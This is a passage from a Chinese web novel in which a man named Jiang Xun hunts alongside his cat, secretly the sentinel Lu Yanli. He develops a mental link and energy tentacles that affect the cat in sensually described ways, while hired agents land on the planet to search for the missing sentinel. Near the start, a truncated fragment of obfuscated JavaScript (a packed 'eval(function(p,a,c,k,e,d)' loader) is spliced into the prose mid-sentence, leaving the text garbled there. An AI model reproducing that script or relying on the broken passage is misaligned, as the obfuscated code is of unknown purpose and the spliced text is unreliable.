陆厌离的喉咙不由自主地滑动了一下，舌头弹动了起来，舔舐、吞咽，于是那甘甜便顺着喉管浸入他体内，一下化为蓬散的雨露弥漫开来，滋润抚慰了他一片狼藉的内里。 那雨露蒸腾而上，陆厌离脑海中忽而闪过一丝清明，他突然就想起来了。 江寻，他是江寻。 面前幻象尽皆破碎，天光大亮。 * 江寻伏低身体，抱着猫儿披着斗篷，在高草丛中尽量隐藏自己的踪迹。还要小心着不要把手上流下的血液滴落在地上被那禽兽闻到血腥味。 咬在虎口上的力道渐松，江寻忙向怀中看去。 猫猫的瞳孔缓缓凝聚起了神采，映出了自己的身影。江寻这才松下口气。刚才猫猫的突然倒下可让他吓了一跳，生怕它就这么不明不白的死过去。 见猫猫已然醒来，江寻脚下再次加快速度，向着别墅的方向奔去。 当先进了大门，江寻就要往地下层入口跑去。他不能确定这别墅能否抵挡得住那禽兽的袭击，地下层是他能想到的最好的藏身之地了。 猫猫此时却不安分地扭动了起来，挣脱江寻的怀抱跳下了地，然而也许是那让它晕厥过去的攻击还在发挥着作用，即使跃下了地面，它仍然腿脚不听使唤般左摇右晃。 江寻还没搞清楚猫猫这是要做什么，就见它突然对着自己胸前一挥爪，寒光掠过，一蓬血花迸射而出，猫猫使劲晃了晃头，似乎是被这疼痛刺激得清醒了一些，腿脚一下利落了起来，几步走到门边，把带着血迹的爪子拍在了门后。 纯黑色的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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可这失败仍未让这极度记仇的禽鸟放弃，反而更加激怒了它，只听它尖锐地枭叫一声，一鼓翅膀又飞了起来，再次从空中砸向别墅。 它一次次地冲刺，又一次次的坠入草地，别墅门口被砸得一片狼藉，处处洒满纷飞的草茎与鲜红的血液。直到天色都黑了下来，那被撕开一半的翅膀“咔”一声支撑不住地折了下去，巨鸟这才发出一声不甘又怨毒地尖啸，歪歪斜斜地飞离。 见那巨鸟终于飞走了，江寻这才彻底放松了下来，瘫坐在医疗舱前，静静地等待着它结束运行。 又过了许久。 医疗舱“滴~”一声停止，江寻急忙坐起身来开舱看去。 可能是因为这一次的伤势不太重，舱室中，猫猫这会儿已经醒了过来，一见舱盖打开就轻轻一跃跳上了操控台，张嘴就咬着江寻的袖子把他往医疗舱里面扯。 “怎么了？”江寻莫名，被猫猫扯着的手臂一抬，这才想起了自己在回来的路上被猫猫咬伤了虎口。 “没事，只是一点儿小伤，待会儿再说。” 江寻不在意的收回手，当先抱过了猫猫，面色严肃下来，拉开它的两只前爪看向它的前胸。 前胸那几道狭长伤口被白色薄膜完好地覆盖住了，江寻继续把猫猫圈在怀里全身检查了一遍，没再发现新的伤口，这才放松下来。 “我们先来谈谈。” 江寻面色冷了下来，垂眼看向怀中的猫儿。 50-55 第51章 静谧的林间， 吹过一阵微风，一些不寻常的气味混杂在风中从林间掠过。 树下一只正抱着某种坚果啃得津津有味的豪猪，忽然抽动了一下鼻子， 乌溜溜的眼睛警觉地抬起， 与林叶掩映间露出的一双黑眸直直对上。 下一刻， 一点寒芒倏忽飞至，豪猪身上长刺炸起，浑身一缩急忙闪避， 却没能完全躲开， 锋利的箭头“嗖”一声直直插入它的后腿。一声痛苦的哀嚎过后，豪猪被箭头强烈的惯性带着向后飞去，砰一下死死钉在了地面上，抽搐着剧烈挣扎却完全脱身不得。 大量血液随着它的挣扎顺着箭头戳出的血洞汩汩流下，不一会儿，那豪猪的声音便渐渐低弱， 出气多入气少了。 一把闪着寒光的弓身劈开草丛， 现出后面一个高大的人影来。 江寻走上前去， 从地上拔出箭，把已经奄奄一息的豪猪撸下来， 用随手砍下的藤蔓绑紧实了，挂在腰带上。 豪猪摇晃一下， 撞在腰带上挂着的其他猎物上，随即再也不动弹了。 江寻提了提腰带， 沉甸甸的。 今天的运气着实不错，可能是因为天气渐渐变暖的原因，许多冬眠的小动物都醒来出来活动了，再加上他的装备也升了一个级， 今天可猎到了不少猎物。 就是周围的大型猛兽几乎都在前阵子折在了小树手里，遗留下来的都是些禽鸟豚鼠之类的小型动物，让他有点不得劲。 正准备招呼立在前面树杈上的小树去寻下一个目标，却见它悄没生息地微微伏下了身，眼睛紧盯向一个方向。 一见这情形，江寻马上明白了过来，迅速压低身形，向着小树紧盯着的方向慢慢绕过去。 小心地避让过脚下的树枝蓬草一步步靠近，江寻屏气凝神地看过去，穿过草木缝隙，只见不远处的一片凌乱草地上，一只不知名的小型野兽正开膛破肚地躺着，一大一小两只野猪正低头享用着它们的美食。 江寻眼中一亮，仔细观察了一下两只野猪的体型，心中估量一番，跃跃欲试。给头顶上紧盯着它们的小树使了个眼色，低伏下身，横着向两只野猪的身后绕去。 刚转移到预计的位置，江寻还没顾得上给小树示意，位于他们中间的那只大些的野猪便敏感地一扭头，直直看向了江寻的方向。与江寻的眼睛对上的那一刻，便兽瞳一张，毫不迟疑地头一低，嚎叫一声便向着江寻冲了过去。 小的那只被自己母亲的突然动作吓了一跳，脚下稍微迟疑了一下。反应过来以后，正要跟上母亲的脚步追随而去，却被从天而降的一道灰影拦住了去路。 江寻见自己已经暴露，便也不再隐藏自身，眼见着那野猪直冲着自己而来，心中十分冷静地回忆起训练舱中学到的经验。脚下一蹬，快速向后撤去，同时，手上不停，拉开复合弓瞄准上野猪的身躯就射了出去。 他在训练舱中熟悉过弓弩的用法，可实际上手还是第一次，便没有选择杀伤力最大的头部，而是选择了把握最大的身躯。果然，一箭便成功击中了奔驰而来的野猪。 那野猪被一箭贯入背脊，疼得嘶鸣了一声，眼睛更红了，脚下乱了一瞬，更加快速地冲刺过来。 一击即中，江寻没有停留，一边倒退一边连续向着它射出弓箭。 还没追上江寻，那野猪身上已经被数支精钢|弩箭贯穿。 越来越严重的伤势终于让愤怒的野兽稍稍冷静下来，动作间有了些迟疑。恰在此时，一声尖锐细小的嚎叫声从野猪身后传来。 江寻抬眼望去，正看到小树爪染鲜血悠然落地，舔了舔沾染在爪背上的鲜血，抬眼向着他的方向看来。 脚下，那只小些的野猪已然躺倒在地，脖子上巨大的三道血痕汩汩冒出鲜血。 那大野猪一眼看到身后已然倒下的孩子，悲愤地大吼一声。 江寻正要喊小树小心，却见那野猪一转身，居然撇下了自己的孩子，就要往侧面逃跑。 这一下却是出乎了江寻的意料，意外之下动作慢了一步，一下子让那野猪逃出了他们的包围圈。 反应过来的江寻向着小树呼哨一声，迈开步子就追了上去。 已经猎得了不少猎物，他倒也不是一定要把这野猪一家子都赶尽杀绝，只是那野猪逃跑时，身上还插着不少箭矢，金属材料有限，他一共也没做出多少枚弩箭来，一下子丢了一大半实在是舍不得。 一人一猫一上一下，分别从地面树顶两条路线追击而去。 那野猪也聪明，一下子便看出了小树才是他们里面更有威胁的那个，逃跑时，净往被阔叶树杈遮挡住视线的地方跑，江寻凭借着红外目镜还能牢牢锁定它的位置，走上路的小树却在视野的妨碍下，开始不停的丢失目标，动作间越发暴躁起来。 江寻皱了皱眉，看着小树的状态有些担心。突然想到了他新学会的那个技能，心下一动，身体中流动着的能量便运转了起来。 把一半意识寄托在流转的能量上，回忆着记忆中的方式让能量透体而出，向着属意的方向延伸过去。散溢的能量，像是磁极的一端，一出了身体便有了生命一般活跃起来，一下子捕捉到了另一股能量。 正在树上攀援而走的猫猫脚下一个踉跄顿住了身形，突如其来的熟悉精神力让它惊讶地望向了江寻，待看到江寻的眼色后，一下子明白了他的意图。它毫不迟疑地向着江寻一点头，微闭起眼睛，对着入侵而来的精神力温顺地打开了壁障。 下一秒，它的脑中一清，感官快速扩展开来，一个模模糊糊的念头顺着那股外来的精神力浮现在他的脑海。 陆厌离有点别扭地压下反抗的意图，任这股精神力一点一点渗入自己的身体，陌生的感觉让他止不住地打着激灵，咬紧了牙关。 他努力忽略这种被侵入的不适感，静下心来体味着那个浮现在脑海的念头，慢慢从那股模糊的念头中领悟到了一些东西。 下一瞬，他如同有了明确的目标，身形一转，毫不迟疑地向着一个方向腾跃而去，三两下后一个纵身便扑击了下去。 野兽的嘶嚎声瞬间响彻丛林。 那野猪明显没有想到敌人会从上方突然出现，一个照面间根本来不及反抗就被小树一爪狠狠抓在了面门上。 锋利的指甲在快速的挥舞下掠过野猪的头面，它的一边眼睛“砰”一声在巨力的攻击下爆成了血雾。爪子带着余力击打在它的侧脸上，巨大的力量，让它整个身体都腾空了起来，翻滚着砸向了侧后方。 听到前方的动静，江寻嘴角浮起笑意，抬手一擦额头沁出的汗液，加快脚步追了上去，一眼便看到了疼得在地上不停翻滚的野猪。 毫不迟疑地抽出弓箭，对着那巨大的目标接连三箭。 那野猪本就在一开始的对峙中受了不轻的伤势，一路奔逃后又受了小树毫不留情的一击，早已是强弩之末。在近距离下，又受了江寻的三道强力箭击，一时之间，身上血花像不要钱一样迸射而出，终于哀鸣一声，挣扎着慢慢没了动静。 江寻并不急着上前，又取出箭矢，间歇向它发射了好几道攻击，直至箭矢入肉也不见那野猪有丝毫反应，这才跨步上前。 小树已经先一步踱到了近前低头查看，看他走来，便不再管躺在地上已然没了气息的野猪，小跑两步，踏着江寻的小腿就一溜烟地攀到了他的肩膀上，从脖子后面围着他盘成一圈就不动了，尾巴却从前方搭下来，似有若无地在江寻胸前画着圈。 江寻也不去管猫猫爪子上的血蹭了自己一身，确定了再无危险后，缓缓将自己发散出去的能量收了回来。 第一次成功配合，让江寻振奋不已，虽然回收回来的能量已经只剩下了不到一半，依然不能抹杀他的好心情。 反手揉了揉凑在他脸侧的猫猫头，奖励地亲了它一记，便蹲下身来，回收箭矢处理他的战利品。 这次成功激发出了江寻的热情，之后几天里，他不断在外出或训练时，练习与猫猫的协同配合。虽然仍有失败的时候，但大部分时候，都能成功将他与小树的精神链接起来。 他发动技能的速度越来越快，对于这个技能也越来越得心应手起来。 这天，他们又一次满载而归。 技能越渐醇熟之后，每次发动技能需要用到的能量也越来越少，今天在外面活动一下午了，江寻体内的能量仍然有富余。 不想浪费掉这部分能量，江寻便没有断开与小树的链接，一边往回走，一边通过链接为树梢上腾跃的小树指引方向。 没注意到脚下，江寻不小心被地上伸出的一条藤蔓绊了一下。 这一个晃神，便没有接上下一个指令。 猫猫这段时间里也已经习惯了跟随江寻的指引行动，跑动间，看也没看前方的状况，便顺着他指引的方向继续向前跳去。 可落下时，脚下却没有如往常一般踏上落脚点，身子从层层叠叠的树叶间穿过，便直直向着地面坠落下来。 感应到了猫猫的动向，反应过来的江寻看着头顶的枝叶被砸出一个大窟窿，猫猫直直向着他的前方掉落下来，心中一慌，下意识的把体内所有剩余的能量都释放了出去。 下一秒，江寻眼前一花，大量能量似是感应到了他的内心所想，倏然凝结成数条触须，瞬间跨越过一人一猫之间的距离，向着跌落的猫猫缠了过去。 * 陆厌离一脚踏空跌落，心下意外，却并不惊慌。 这么点高度，别说他完全来得及调整身形减震落地，即使是直接摔下去，也丝毫不会给他造成很大影响。 正要在空中翻转身形，心中却泛起一阵奇怪的预感。 下一秒，几根透明的触须从空中不远处凭空出现，一经现身，丝毫都没有停顿地向着他缠了上来。 一眼看到这些有点眼熟的透明触须，陆厌离便马上明了它们的由来，反射性地想起了上一次被它们触碰到时的激烈刺激，下意识地就想要躲避。 可他的速度哪里比得过这些触须，四肢刚要发力，便已经被其团团裹缠了起来。 那触须甫一接触到陆厌离的皮肤，便半透过他的皮肉缠住了他内里更本质的什么东西。两种截然不同的无形力量，像是磁铁的两极互相吸引着，一经接触便水乳交融合为一体，融汇中自然生成的巨大刺激快|感，马上顺着陆厌离的神经末梢逆流而上，直直插入他的后脑。 这种强烈的刺激感觉难以言喻，就像是耳朵最深处的鼓膜突然被抚摸；喉咙最深处的食道口被鲁莽撑开；牙龈包裹着的齿根被剧烈摩擦。 本就处于精神链接之中，五感被提升到了极致，毫无准备之下，陆厌离完全无法承受住这么激烈的刺激，被第一根触须缠住的那一刻，瞳孔一瞬放大，眼中就失去了清明。 他的身体剧烈抽搐了一下就失去了所有的力气，四肢在空中狂乱地舞动，嘴巴无声张到最大，呼吸不上氧气一般剧烈地喘息着，喉咙深处赫赫作响，眼瞳不停地扩大又缩小，眶中瞬间盈溢泪水。 可来袭的触手根本不知道它带给别人的强烈刺激，自顾自地紧紧缠缚在猫咪的身体上。随即，第二条、第三条、第四第五第六条触须，也毫不迟疑地追随着前辈的脚步，一道一道裹缠上他的身体。 他的身体随着一条又一条触须的来到，不停抽搐起来，短短几秒时间，便完全失去了对身体的控制，汗水、眼泪、涎液混杂在一起，在他的面孔上肆意横流。 紧接着，两股精神力在他的身体里紧紧绞缠起来，强烈的愉悦快感，在他体内炸裂开来，让他已然失控的身体再次剧烈颤抖了起来。 他的头颅无意识地高高扬起，溢满了眼泪的瞳孔失去了焦距，喉间溢出一声如泣如诉的呻|吟，猛然从体内腾起的火焰一股脑涌向全身，脑中白光一闪，身体便失去了控制。 江寻离得远远的，看到凝聚出来的触须绞缠着把猫猫从自由落体中救了下来，心下一松又是一紧。 想到第一次触须出现时的情景，担心之下快速跟上前去，想要看看这意外之下出现的触须，有没有再次伤害到猫猫。 刚走近几步，却被精神链接中传过来的一股剧烈快感撞入心神，脚下一软，单膝跪倒在地。 额头上迅速沁出汗水，滴落在江寻撑地的手背上，手指一颤而后紧紧抓在地面上，手背血管一下子暴突了出来。 江寻目露惊讶，突然明白了过来，抬头看向被数条触须在空中团团包裹住的一小团身影。 咬了下舌头，让自己清醒一点，江寻迅速调整链接，减弱从另一方传递过来的情绪。站起身来，接住了被触须裹挟住的那个身影后，马上解除了所有的触须。 可怀里的身影已经在这短短的接触中失去了意识，瞳孔缩成一点向上翻去，汗湿全身，不住地颤抖着，喉间不停溢出声声呓语。 江寻当机立断，抱起猫猫就往回奔去。 待陆厌离重新恢复了神志，已经浑身清爽地躺在了温暖的被窝里，房中光线黯淡了下来。 刚刚恢复焦距的视野还有些颠倒重影，陆厌离闭了闭眼睛，深深呼吸几下，五感这才随着神志的复苏慢慢甦醒过来。 感觉刚一恢复，身后暖烘烘的肉墙便显出了它绝对的存在感。 后背紧贴着的地方，传来一声一声沉稳而坚定的心跳声，震颤着他的耳膜。 暖热的皮肤随着一下下的心跳微微起伏，与他的皮肉不停触碰又分开。 陆厌离的神经末梢似乎还沉浸在刚才的强烈刺激里没缓过来，浑身敏感得不行，只是被微微触碰到便克制不住地颤抖。 他想往前爬几步，远离这刺激，却毫无力气，四肢软软的，抬都抬不起来。 身后的人似乎发现了他的动静，虚拢着的臂膀环了过来，手指曲起，剐蹭在他的下巴上。 于是一声咕噜声响便被这手指从喉咙里挤了出来。 “醒来了？” 男人的声音低沉带着点沙哑，含着笑意。 陆厌离耳朵颤了颤，马上闭上了眼睛。 江寻看着掩耳盗铃的猫猫，没好气地哼笑一声，捏了捏它抖动着的耳廓。 “小骗子，又骗我。” 说着，伸手下去，使了点力气拍在猫猫的屁股上。 这一下猝不及防，猫猫的身体马上挺直，身后的大尾巴倒卷过来护在了自己屁股上，口中也溢出一声委屈的喵呜。 “你碰到我的触须是太舒服了才厥过去的？那你不和我说，让我一直以为这触须会伤到你！”江寻点在猫猫额头上教训道，说完，想起那一瞬间感应到的强烈快感，又有些说不出的怪异尴尬，撇过头去手指无意识地在嘴唇上擦了擦。 江寻一回家就把小树塞进了治疗舱里，这才发现，触须的触碰根本没有给它带来丝毫伤害，反馈回来的数据，反而比之前更好了一些。再想到精神链接中传递过来的情绪，马上便明白了过来。 猫猫被戳得缩了缩脖子，也不睁开眼睛，哼唧一声一转身就埋头缩进了江寻怀里，任江寻掐捏也不愿抬头。 江寻好气又好笑，自家猫猫，他还能咋的？还不只有原谅它！惩罚性地轻拍了几下屁股，便把此事轻轻放下。 可这种触须对猫猫带来的剧烈反应被他记在了心里，心下有了推测。 从这天起，江寻不再小心翼翼地避着猫猫练习使用触须，反而把它融入了日常活动里，努力增强自己对触须的控制力，同时开始尝试着让小树更频繁地接触触须。发现它虽然每次都反应剧烈，但在一次次接触过后，精神越来越好了起来，这才放下心来。 * 遥远光年之外，一座不知名银白建筑之中。 三五个穿着统一制服的员工，运指如飞地坐在环绕成一圈的巨大量子计算机前操作着，投影在空中的数据流如雨落下。 几人身后，一个紧皱着眉头的男人抱臂站着，手指不停松开又攒紧。 “还没有检测出消息么？” 男人冷硬的声音里压抑着按耐不住地烦躁。 “报告主……主管，”坐在他面前的监测员吞了吞口水，额上滑下一滴冷汗，“静默日期间，寂静星上共检测到106次异常精神波动，但是……但是没有在其中检测到属于目标的精神力波动。” 中年男人面色更加冷肃起来：“直到现在都没有发现吗？” 年轻的监测员不敢回头去看主管，缩了缩脖子接着回道：“是……是的，静默日结束，直到现在，都没有检测到属于目标的大型精神力波动。” 中年男人咬了咬牙，想到头上那位的手段，哆嗦了一下，对着一个个噤若寒蝉的下属咆哮道：“你们都是干什么吃的？！老板给这里砸了多少钱花费了多少人脉？就让你们做这么点事都做不好？！寂静星上现在到底是什么情况？！你们要是什么都不知道就都给我滚蛋！” 年轻的监测员被吼得一抖，手忙脚乱地重新调出数据，可怎么检查也查不到应该出现的那个精神力波动，焦急地搜肠刮肚想着其他的可能。 突然想到了什么，迟疑地转身瞥了眼暴怒的中年男人：“主管，确实没有检测到目标人物的精神波动。可是之前，我们收到过来自寂静星的治疗舱通讯请求，当时目标应该就已经快要堕化了才对。” 看着主管紧绷着的脸，庞克忙不迭地继续说道：“现在只有两种可能，要不，目标在静默日来到之前就已经因为衰弱死掉了。要不……要不……”，他迟疑了一下，接着说道：“要不就是到现在还活着？” “放屁！”中年男人一开始还稍稍舒展了一下眉头，听到后面再次暴怒起来：“你告诉我，一个重度失控的哨兵！放着他不管都会随时堕化的哨兵！一个人呆在什么都没有的寂静星上，他怎么撑过静默日？！” 男人咆哮中喷出的口水溅在庞克的脸上，他却完全不敢去擦，哭丧着脸说道：“可……可是，监测到的数据里真的什么都没有发现。” “我要听的不是这个！”中年男人压下火气，“既然坐在这里没用，你就给我自己去寂静星上看清楚！我给你一周时间，还不能拿到确切的消息，你就不用回来了！” 庞克哆嗦着快要哭出来：“不行啊主管！那里遍地都是发狂的堕化哨兵，我一个普通人，去了哪还有命活啊！” 主管丝毫不理会庞克的哀求，转身便走：“这里的事是高度机密，要是泄露了出去，咱们一个都别想活！我最多再给你找两个雇佣兵，不管你用什么办法，一周之内，我要得到确切的消息，不然后果你知道的。” 庞克面色一白，嗫嚅了一下，低声回道：“是！”—— 作者有话说：久等啦！抱着更新冲过来~ 明天开始恢复正常晚6点更新[比心][比心] 第52章 江寻攥着梳子， 面色有点发白。 从他的身体里延伸出来的触须因为没有后续的力量供给，慢慢从空气中消失。 江寻深呼吸一口气，缓缓收回与猫猫的链接， 微闭上眼睛平复脑中的刺痛， 手上有一搭没一搭地抚弄着。 猫猫平摊在他的大腿上， 眼瞳失神，同样急促地喘息着，随着他手掌的落下一下一下细微地颤抖。 一人一猫静静坐着， 缓了好一会儿， 猫猫首先缓了过来。 刚刚给猫猫梳毛，江寻不仅用上了精神链接，还凝聚出了触须与自己一起协作，两种技能一起使用，还要维持着能量稳定输出，对于江寻这个新手来说负担还是大了些， 还没动作一会儿， 他的精神就肉眼可见地萎靡了下去， 不得不暂停下来休息一会儿。 猫猫被触须一直触碰着，受到的刺激大了些， 可这事本身是对它的身体有益的，最近也经常被江寻抓着试验， 已经不像一开始那样毫无抵抗。一缓过了神，便马上抬眼去看江寻。 待看到他揉着额头仰靠在沙发靠背上闭目休息， 忙抬起身子，踩着他的胸膛爬上去，凑近讨好地轻轻在他脖子上一下下磨蹭。 江寻闭眼吐出口气，反手上来准确地搭在猫猫脑袋上揉了揉， 侧低头过去要亲它的脑门。得到反馈的猫猫马上动作灵敏地扬起脑袋，让这一个吻落在它的嘴巴上。 嘴唇落在对方的三瓣嘴上，被支棱起来的胡须刮得痒痒的。江寻喉咙里溢出一声闷笑，大拇指摩挲着猫猫的颌下，丝毫不在意它的偷香，反而如它所愿地又重重亲了几下，这才坐起身来，准备起身。 猫猫却焦急地喵呜喵呜叫唤起来，两只爪子抬起又带着自身的重量落下，压在江寻胸膛上，不满地重重踩他。江寻疑惑地回头看去，只见猫猫眼睛大睁委屈地看着他，扭头探到沙发侧边的扶手上，叼住了一条皮带，往江寻手里塞。 江寻看清了手上的东西，抱歉一笑：“对不起，爸爸忘记给小树把项圈戴回去了，好好好，这就给小树重新戴好。” 展开皮带细细地捋直了，环扣在猫猫的脖颈上，又调了调松紧，猫猫这才满意，一跃跳下了江寻的膝盖，跟着站起身来的江寻去了餐厅。 喂饱了自己和猫猫，又抱着猫猫睡了个午觉，江寻这才再次精神了起来，换上装备，带着小树，趁着日头正好出门了。 随着春日渐至，林子里越发热闹起来了，大量大型猛兽的死亡，让生物链底下的小型动物、昆虫数量迎来了一个大爆发。 这几日里，江寻采集到了不少稀奇古怪的标本，自家的培育室也再次充盈了起来。于是出门越发频繁，想趁着这个比较安全的时间段，多探索收集一番。 一人一猫的配合也在江寻的努力下越发融洽起来。 江寻蹲在一株腐烂了一半的大树下，小心戴上手套，把面前的虫卵与几条莹绿色幼虫装进玻璃管，塞进了折叠腰包。 站在他身后树杈上警戒着的小树，突然耳朵一动，抬起头来看向了天边一个方向。 陆厌离把精神集中在耳朵上，身上的其他感官信息收敛起来，听觉向着目标方向无限延伸了出去。 一道熟悉的气流喷射声，混杂在周围无数杂音里，被他的耳朵捕捉到。 瞳孔一缩，听觉如潮水般撤退回来，陆厌离嗖地站直了身子，猛地抬起眼睛，看向遥远的方向。 是小型登陆舰！ 陆厌离紧紧压下眉头，心念电转。 这个距离上，看不到舰艇的影子，但是陆厌离久经各种任务，对于常用的舰艇声音非常熟悉，这声音绝不是军用的制式星舰，而是只能承载五人以下的小型舰艇。听声音，引擎功率不算高，舰体不重，应该没有搭载什么重型武器，只是普通的民用载人登陆舰。 寂静星由塔和军部联合监管，星外还有中央智脑布设下的无数卫星全天候监控，属于军事管控区域，除非及其特殊的情况下，绝不会允许未经许可的其他舰艇登陆，来的是什么人？ 陆厌离踏前一步，低头看一眼正蹲在树下，对远方的动静浑然不知的江寻，止住了冲动。 江寻收集好手上的标本，站起身来正要招呼着小树继续往前走，却见小树一反常态地跳了下来，凑过来叼着他的衣角往回拽了拽。 嗯？ 江寻一楞，以往外出时，都是自己控制着他们的动向，小树从来只是顺着他的意思行动，这还是它第一次表达出自己的意向。 江寻从来没有小看过小树的能力，一见它如此反常的反应马上止住了前进的脚步，抬手开启了红外目镜，抬头向远方望去。 目镜所及的范围内没有显示出什么异常来，不知道是距离太远还是无法用目镜查探出来的异常。 江寻拧了拧眉，又看一眼仍然扯着他不放的猫猫，干脆利落地回头，顺着小树的意思踏上了归程。 陆厌离看到江寻的动作松了口气，心中放松的同时，浮起一些熨帖。他还怕一时无法给江寻说清楚，让他踏入未知的危险里，没想到他如此相信自己，都没有多问自己一句，就跟着他回家了。 也许在他心里，自己不仅仅是宠物呢？ 想到这里，陆厌离脚下都轻快了几分，心中对于未知来客的担忧也消减了一些。 回到家的江寻也没有去追问小树究竟，只是里里外外检查了一遍别墅前后的安全措施，保证它们能在发生意外后的第一时间开启，便早早洗漱完毕，带着小树躺上了床榻，丝毫都没去担忧旁的事，没一会儿就沉沉地睡着了。 当第一缕淡红的月光透过玻璃洒在眼皮上时，陆厌离睁开了双眼。 头顶上的呼吸轻缓而悠长，男人已经沉入了梦乡。 陆厌离缓缓缩了缩头，把身子绕出了男人的臂膀环出的栖息地，慢慢从被子里爬了出来。 肉垫无声轻巧落地，陆厌离回头看一眼江寻，确认自己的动静丝毫没惊动到他，这才悄无声息地开门下楼，踏出了大门。 一出了门，陆厌离便目标明确地向着白天听到的方向潜踪奔去。 小小的猫身四爪飞纵，在浅红的月色下快速掠过，墨绿眼瞳凝聚，被月光映照出三分杀机。 那舰艇落地的地方离静室有些距离，绕过了矮山继续往东北方向奔走了十几分钟，陆厌离才找到了着陆点。 低伏在枝叶下，陆厌离透过林木的缝隙看向目标。 这个登陆舰浑身迷彩，大小只有七米左右，周身没有任何标志，看不出来历。此时正熄了火静静盘踞在一块平地上，舷梯支地舱门半开，门内一片漆黑，看不到一个人影。 陆厌离小心地走近，看向舷梯周围的地面痕迹。 一个，两个，三个人。 一枚脚印较浅，鞋底平滑，受力均匀，是非战斗人员，身高大概只有一米六左右。两枚脚印很深，前重后轻，鞋底粗糙，其中一双鞋印上有喷气口的痕迹。两个带着装备武器的战斗人员，装备不少，其中一个具备快速移动的能力。 陆厌离一眼扫过地上遗留下来的杂乱脚印，就凭借经验得出了结论。 来人丝毫没有隐藏踪迹的意思，落了地也没有在附近停留，就直接走进了林子里。 陆厌离没有犹豫，跟着脚印就追踪了过去。 * 庞克手里捧着探测仪，一脚深一脚浅地走在林中，脚下的腐殖土黏腻又松软，一脚下去经常会发出轻微的“哔啵”声，爆出颜色诡异的汁液。 他越走脚下黏着的泥土越多，双腿越发沉重，恶劣的环境，昏暗的光线，难闻的气味萦绕在他身边，恶心的感觉让他如鲠在喉，心情越发烦躁起来。 可想到他此行的目的，又强行按捺下心里的不适，硬着头皮操作着手上的仪器来回探查。 两名荷枪实弹，身形彪悍的雇佣兵一前一后保护着他行走，偶尔见到蛇虫，还未等对方攻击便被他们无声点射，威胁消弭于无形。 在林中徘徊了半天，仍然没有明显的发现，让庞克越来越急躁起来。 “不行，时间过去的太久了，遗留下来的痕迹太少了，要把检测出来的106个波动点一个个排查过去，花费的时间太久了。” 庞克咬着指甲，调出数据，把所有的点位按照经纬度标注在了卫星地图上，一边看着地图，一边把投影屏上的位置与自己一路走来的路途一一对照起来。 随着一个个红色光点在地图上点亮，一处光点密集的区域显现在了地图上。 这里是……一座小山？庞克想到了什么，马上从数据库里又调出了最近的几处静室位置。 在静默日之前，他们曾经接收到过一座治疗舱的通讯请求，虽然那通通讯并没有接通，无法准确定位是哪一处静室，但是那人一定去过某一处静室，现在，他极有可能还停留在那个静室附近。 果然，在这处红色光点汇聚处南边不远处，就有一个静室存在。 庞克精神一振，带领着两人向着地图上标示出的红色光点汇聚处赶去。 有了目标，几人赶路的速度马上快了许多，没过一会儿，便行至一处巨大的裂谷前。这里就是地图上标示的曾经集中爆发过好几次较大型精神波动的地方。 越走近裂谷，庞克便越发紧张起来，如果那个人曾经在这附近停留的话，那这里爆发的几次精神波动，就很有可能与他有关。若是他到现在还没死，那这里很可能就是他最后停留过的地方。 借着昏暗的月光走到崖边，庞克探出头去，小心地向着崖底看下去。 高耸的崖壁把光线遮挡了大半，底部黑乎乎一片看不分明，只能看到崖底的确有着什么东西。 庞克眯起眼睛瞅了半天也看不清底下究竟是个什么情况。还好，他这次出来虽然只带了两个护卫，各种器械倒是不缺。 手在腰间一抓，一把核桃大小的微型无人机便被他撒了出去。 无人机在空中一震悬浮起来，庞克运指如飞，在操纵器上输入命令，张开实时投影。无人机接收到命令马上飞速散开沉入崖底，机身发散出不刺眼但十分稳定的白色亮光，将黢黑的崖底照亮。底下的景色通过无人机上的摄像头连成一片，显示在了庞克面前的全息投影上。 一双黑黝黝的暴突眼珠猛地放大，出现在庞克面前。庞克被这双阴冷无神的眼睛，骇得惊叫一声，踉跄着后退几步，一屁股扎在地上。 身侧站着的强壮雇佣兵明明看到了他的狼狈，却压根没去搀扶他，见他被吓住了的样子，反而从嘴里溢出一声嗤笑。 庞克明显听到了这声嗤笑，脸一下子憋成紫红，恨恨地瞪了一眼强壮的雇佣兵。 该死的鬣狗！大字都不识一个的蠢货们！还敢取笑我！就凭你们的身份，在外边连见都见不到我！要不是还要你们给我卖命，我早就…… 他动了动嘴，却不敢在这时候骂出口，只能在心里狠狠嘲讽了几句。 撑起身子，稳了稳心神，庞克再次看向投影。 投影中的视角渐渐拉大，崖底的全貌慢慢展示在三人面前，轻松的气氛凝重了下来，刚刚还面露嗤笑的雇佣兵，已然满脸惊骇，额角滑下一滴冷汗，喉咙滚动咽下一口口水。 只见崖底将近十几米宽的一长段距离里，一个叠着一个，满满当当地堆满了无数庞然大物的尸骨残骸。 这些庞然大物生前明显曾经历过一番战斗，整个崖底狼藉一片，除了众多的尸首血迹，到处散布着残石碎木，崖壁上黑红一片，布满无数巨大的坑洞裂痕，一看便知被恐怖的巨力多次重重捶打过。 这些尸首，有的披鳞有的带甲，有的多足有的多翅，但无一例外的死相凄惨，浑身骨折，肢体残缺不全，一看便是经过一番鏖战后惨死于此的。 三人目瞪口呆地看着投影中显示出的这幅地狱景象，眼角余光里，投影中央的一具禽兽尸体突然动了一动。 这一下动静，惊得三人全部面色骇然，两个拿枪的雇佣兵在一惊之后，马上双双举起了手中的枪械，一边飞速倒退，一边紧张地看向地裂的方向。 庞克反应慢了一步，待发现自己已经被两个雇佣兵落在了后面，面上唰得惨白一片，双腿发软，狠狠骂了一声，咬着牙连滚带爬地向着他们的方向追过去。 三人如临大敌地凝视着黑乎乎的崖边，庞克蹲在两人身后缩成一团，根本不敢往前方看上一眼，眼睛紧紧盯着仪器上那个突然动起来的尸体。 却见那尸体的一条大腿晃了一晃，腐蚀殆尽的皮肉被这下动静彻底撕裂开来，半截后爪顺着斜坡滚落了下去，大腿原本搭着的地方，突地钻出一只颜色黑灰的大老鼠来。 眼见着这幅景象，三人的面色先是一松，马上又涨红，刚才嗤笑庞克的那个雇佣兵明显更加管不住情绪，粗眉一拧，骂骂咧咧地一脚踏上了崖边。 “妈的，什么玩意儿，敢吓你爷爷我！” 手一举，一道细细的银白光束从他手中的枪口中一闪即逝，崖底那只正低着头啃食着尸体的大老鼠当即爆成了一团血雾。 另一个落在后面的雇佣兵，收起了手中的重枪，眼睛一眯看向仍然没回过神来的庞克，面色有点不善：“从刚才开始你就特别紧张？你知道这里发生了什么？你在害怕什么？” 